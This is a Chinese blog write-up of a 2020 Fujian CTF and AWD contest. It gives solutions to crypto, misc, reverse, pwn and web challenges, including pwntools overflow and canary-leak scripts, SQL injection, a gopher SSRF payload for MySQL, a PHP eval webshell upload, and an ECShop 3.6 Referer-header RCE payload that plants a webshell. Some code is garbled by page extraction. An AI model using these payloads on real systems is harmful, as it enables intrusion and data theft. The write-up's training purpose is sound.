安全社区

黑盾云安全社区,与你一起分享安全领域的知识与智慧

2020网安周丨福建省网络空间安全技能竞赛CTF+AWD 部分解题思路总结

安全研究2020-09-25 14:29:21 10656次围观

CTF-writeup总结

Crypto-Factor

明显的RSA,将n分解得三个因数:

p=17100682436035561357

r=CRC32碰撞脚本: https://github.com/theonlypwner/crc32

将1-6.txt的校验码提取出来,然后使用脚本碰撞。

1601002542126695.jpg

1601002552662370.jpg

得到解压密码

the_password_here_cipher

解压得到flag

CMISCCTF{how_to_burp_by_coding}

Misc-encrypt

zip伪加密,修改hex为00后解压再解两次base64。

CMISCCTF{Fake_encryption}

Misc-TREES

解压得到一张图片

1601002599301549.jpg

使用stegsolve软件打开图片

打开red plane7通道

1601002661144637.jpg

发现可以看到一些点组成的字母

观察可得flag,值得注意的是的是中间有一个下划线

CMISCCTF{coconut_tree}

Misc-QRCODE

得到一张残缺的二维码

6.jpg

残缺二维码修复在线网站:https://merricx.github.io/qrazybox/

使用在线修复网站,二维码是version4 版本,尺寸33x33,把这一半填好

1601002724552338.jpg

然后像灰色的地方添白

1601003304293043.jpg

得到



1601002776456846.jpg

扫描识别

1601002912135537.jpg

CMISCCTF{qr_c0de_r3c0very}

Misc-Blind

题目一张图blind.png,一个enc.rar的压缩包,压缩包有密码

密码应该应该藏在png

Binwlak分析

1601002819976900.jpg

发现还有一张图片 分离出来,发现两张图片一样,盲水印解一下。

1601002947205238.jpg

解压密码:Q@CTF@NX,得到ctfer.png。

1601002972410301.jpg

010分析

1601002999617777.jpg

选中第二张图片 插入文件头

1601003023629599.jpg

得到flag

CMISCCTF{double_picture}

Misc-music

解压题目附件得到music.wav

1601003056625453.jpg

正放和反放没听出什么特征出来,看特征高低振幅明显,使用脚本对高低振幅转换为01,高振幅为1,低振幅为0,使用python脚本转换,并且将转换出来的01二进制文件流,八个一组转换为两位十六进制,然后将十六进制文件流写入文件内,脚本如下

import numpy as np
import struct
import wave
import re


def write_records(records, format, f):
    
#Write a sequence of tuples to a binary file of structures.
    record_struct 
= Struct(format)
    
for r in records:
        f.write(record_struct.pack(
*r))

path 
="./music.wav"
f 
= wave.open(path, "rb")
# 读取格式信息
# (nchannels, sampwidth, framerate, nframes, comptype, compname)
params 
= f.getparams()
nchannels, sampwidth, framerate, nframes 
= params[:4]
# 读取波形数据
str_data 
= f.readframes(nframes)
f.close()
#将波形数据转换为数组
wave_data 
= np.fromstring(str_data, dtype=np.short)
b 
=''
# arr = [elem for elem in wave_data if elem >0]
max 
=0
d 
=''
for i in wave_data:
    
if i << span="">0:
        
ifmax !=0:
            
ifmax<< span="">25000:
                d +=
'0'
            
else:
                d +=
'1'
                
pass
        max =
0
    
ifmax << span=""> i:
        max = i

print(d)
print(
" ")
a = re.findall(
r'.{8}',d)
hex_list=[]
for i in a:
    res =hex(int(i,
2))
    hex_list.append(res)
print(hex_list)

withopen("result.txt","wb") as f:
    
for x in hex_list:
        s = struct.pack(
'B',int(x,16))
        f.write(s)

使用010 editor打开发现是RAR的头文件,修改文件后缀为.rar

1601003098443064.jpg

解压得到

1601003167295636.jpg

nnnoflag.txt并没有flag内容,rar的压缩包中也无其他内容,猜测这里有NTFS文件流隐写

使用ntfsstreamseditor扫描nnnnoflag.txt的目录

发现隐写了张图片,导出图片得到如下半张二维码

1601003187256908.jpg

猜测图片有可能修改了宽高,使用01 editor修改十六进制高度和宽度相同为:01 18

1601003408474433.jpg

1601003443778827.jpg

扫描得到flag

flag{4dcfda814ec9fd4761c1139fee3f65eb}

Reverse-Check

Angr +符号执行

#define MAX_SIZE 0x40
#include
#include

unsignedchar check[] = {
  
0x03, 0x12, 0x1a, 0x17, 0x0a, 0xec, 0xf2, 0x14, 0x0e, 0x05, 0x03, 0x1d,
  
0x19, 0x0e, 0x02, 0x0a, 0x1f, 0x07, 0x0c, 0x01, 0x17, 0x06, 0x0c, 0x0a,
  
0x19, 0x13, 0x0a, 0x16, 0x1c, 0x18, 0x08, 0x07, 0x1a, 0x03, 0x1d, 0x1c,
  
0x11, 0x0b, 0xf3, 0x87, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  
0x00, 0x00, 0x00, 0x05
};


int reverse(unsignedchar *a1) {
  
int k; // [rsp+0h] [rbp-18h]
  
int j; // [rsp+4h] [rbp-14h]
  
int i; // [rsp+8h] [rbp-10h]

  
for ( i = 0; i < MAX_SIZE; ++i )
    a1[i] += 
5;
  
for ( j = 0; j < MAX_SIZE - 1; ++j )
    a1[j] ^= a1[j + 
1];
  
for ( k = 0; ; ++k )
  {
    
if ( k >= MAX_SIZE )
      
return1;
    
if ( check[k] != a1[k] )
      
break;
  }
  
return 0LL;
}


int main(int argc, char *argv[]) {
        
char flaggie[0x50];

        read(
0, flaggie, 0x40);
    
return reverse(flaggie);
}

使用以下命令编译为二进制文件

gcc source.c -no-pie -o flag

然后。

import angr

p = angr.Project('./flag')
pg = p.factory.simulation_manager()
# find is the addr for the "good case" we want to reach
# avoid is the "bad case"
e = pg.explore(find=0x0040120d, avoid=0x0040123f)
if len(e.found) > 0:
print(e.found[0].posix.dumps(0))

得到flag

CMISCCTF{machine_agnostic_that_not_easy}

Reverse-Crackme

反编译后发现用户名和密码进行计算产生一个值 a1, a1进行接下来的计算 找到关键计算部分:

v3 = 3114571393449336878LL;
v4 = 3609637387099048214LL;
v5 = 649376180647958543LL;
v6 = 
16916018;
v7 = 
2075;
v8 = 
16;
for ( i = 0; i <= 30; ++i )
  putchar(a1 ^ *((
char *)&v3 + i));

其中这几个数据类型识别有问题,正常应该是char数组

转换后依次尝试a1的值,找到一个这样的字符串:FTCCSIMC_uoy_od{dna_prublos_ev}

将该字符串倒序,分组、拼接即得flag:

CMISCCTF{do_you_burp_and_solve}

Pwn_cmcc_stack

惯例checksec,只开了NX保护,四舍五入就是没有保护

拖入IDA,发现当v5的值为-559038737(0xdeadbeef)时可以getflag

 1601003482354738.jpg


read函数读入到地址esp+0x80-0x68,v5的地址是esp+0x7c,所以我们只需要覆盖掉v5的值为0xdeafbeef即可getflag

故构造payload如下

from pwn import *
pl 
= b'A'*0x64+ p32(0xdeadbeef)

p 
= process('./bin')#p = remote('192.168.5.11',22987)
p.sendline(pl)
p.interactive()

1601003504630263.jpg

Pwn_canary

惯例的checksec,开了NX保护和Canary,说明我们不能像之前那样轻松地溢出了,需要绕过Canary

拖入IDA进行分析,我们可以发现在fun()函数处存在溢出,偏移量为0x70,故考虑绕过canary后控制程序返回至getflag()

1601003570516112.jpg

1601003608627277.jpg

1601003668843057.jpg

img

如何绕过canary?在main函数中我们可以看到其先读入format再输出format,存在格式化字符串漏洞,我们可以利用这个来输出canary的值,再覆盖掉即可

故构造payload如下

from pwn import *
pl1 
='%7$x'
get_flag 
=0x804863d

p 
= process('./canary')#p = remote('192.168.5.11',39274)
p.sendline(pl1)
cnry 
=int(p.recv(),16)
pl2 
=26*p32(cnry) + p32(get_flag)
p.sendline(pl2)
p.interactive()

得到flag

1601003728521521.jpg

img

Web-eeasyweb

伪协议读。

GET /?page=php://filter/read=convert.base64-encode/resource=flag.php

# flag{web_eeasyweb}

Web-Greatctf

修改xff为127.0.0.1,宽字节注入。

usernmae=admin%df'||1=1#password=admin

提示:flag in the http://ip/greatctfea5y55rf/。

访问提示swp泄露,再访问.index.php.swp。


$argv[1]=$_GET['a'];
if(filter_var($argv[1],FILTER_VALIDATE_URL))
{
        $r = parse_url($argv[1]);
        print_r($r);
        if(preg_match('/great.ctf$/',$r['host']))
        {
                $a=file_get_contents($argv[1]);
                echo($a);
        }else
        {
                echo("error");
        }

}else
{
        echo "Error:Invalid URL; WhereIsSourceCode ";
}
?>

构造。

GET ?a=south://great.ctf/../../../../../../../../flag.txt
# flag{greatctf}

Web-simplebrowser

源代码提示

我的flag都放在数据库ctfcontest里,你用admin账户就能访问到,快去找吧!

推测是gopher打mysql,gopherus一把梭。

python gopherus.py --exploit mysql


  ________              .__
/  _____/  ____ ______ |  |__   ___________ __ __  ______
/     ___ /  _ ____ |  |  _/ __ _  __   |  /  ___/
    _  (  <_>)  |_> >   Y    ___/|  | /  |  /___
______  /____/|   __/|___|  /___  >__|  |____//____  >
        /       |__|        /     /                 /

        author: $_SpyD3r_$

For making it work username should not be password protected!!!

Give MySQL username: admin
Give query to execute: use ctfcontest;show tables;select * from flag;

Your gopher link is ready to do SSRF :

gopher://127.0.0.1:3306/_%a4%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%61%64%6d%69%6e%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%2f%00%00%00%03%75%73%65%20%63%74%66%63%6f%6e%74%65%73%74%3b%73%68%6f%77%20%74%61%62%6c%65%73%3b%73%65%6c%65%63%74%20%2a%20%66%72%6f%6d%20%66%6c%61%67%3b%01%00%00%00%01

flag{wqweb_simplebrowser}

Web-aurorawebsit

右键源代码有提示,进入上传页面后,Content-Type绕过。

burpsuite不停发包,浏览器不停刷新访问shell就行。

POST /h1dden_aurora_hochladen.php HTTP/1.1
Host: 172.1.2.15
Content-Length: 323
Cache-Control: max-age=0
Origin: http://172.1.2.15
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryIkStpUBRiMXKspD4
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://172.1.2.15/h1dden_aurora_hochladen.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
x-forwarded-for: 127.0.0.1
Connection: close

------WebKitFormBoundaryIkStpUBRiMXKspD4
Content-Disposition: form-data; name="upload_file"; filename="south.php"
Content-Type: image/jpeg


eval($_GET['south']);
?>

------WebKitFormBoundaryIkStpUBRiMXKspD4
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryIkStpUBRiMXKspD4--

得到flag。

flag{aurorawebsit}


解题思路来源:厦门理工学院_CodeMonster战队








AWD-writeup总结







漏洞利用


1、访问目标系统,是个ECShop商城网站。


1601003840333726.png

2、 浏览界面发现,ecshop 版本为 3.6,ecshop3.6 存在命令执行漏洞


1601003903387070.png


 3、 进行漏洞利用,启动 burpsuite。

1601003927294984.png

  4、 注册账户,访问 user.php 并传参数 act=login 同时抓包


1601004022907937.png

5、 添加 Referer 头信息并传入 poc显示Phpinfo 信息如下Referer:

45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:"num";s:107:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b706870696e666f0928293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1'UNION/*";}45ea207d7a2b68c49582d2d22adf953a 

Wehshell 如下(会在网站根目录下生成一个 1.php,密码:1337):

Referer:45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:"num";s:289:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a7a4575634768774a79776e50443977614841675a585a686243676b58314250553152624d544d7a4e3130704f79412f506963702729293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}

 1601004143439975.png


1601004195524771.png

 6、 执行如下 poc 可直接上传一个 webshell

1601004229179886.png


 7、 使用蚁剑进行 webshell 连接      


1601004252622843.png

1601004280751176.png


漏洞防护


1、对漏洞进行修复,进入网站服务器内,修改/includesb_insert.php


1601004320916557.png

37.png


2、使用 hmwebshell 工具扫描木马,进行删除  
 

38.png


解题思路来源:海峡信息



下一篇: 紧急应对“永恒之蓝”勒索蠕虫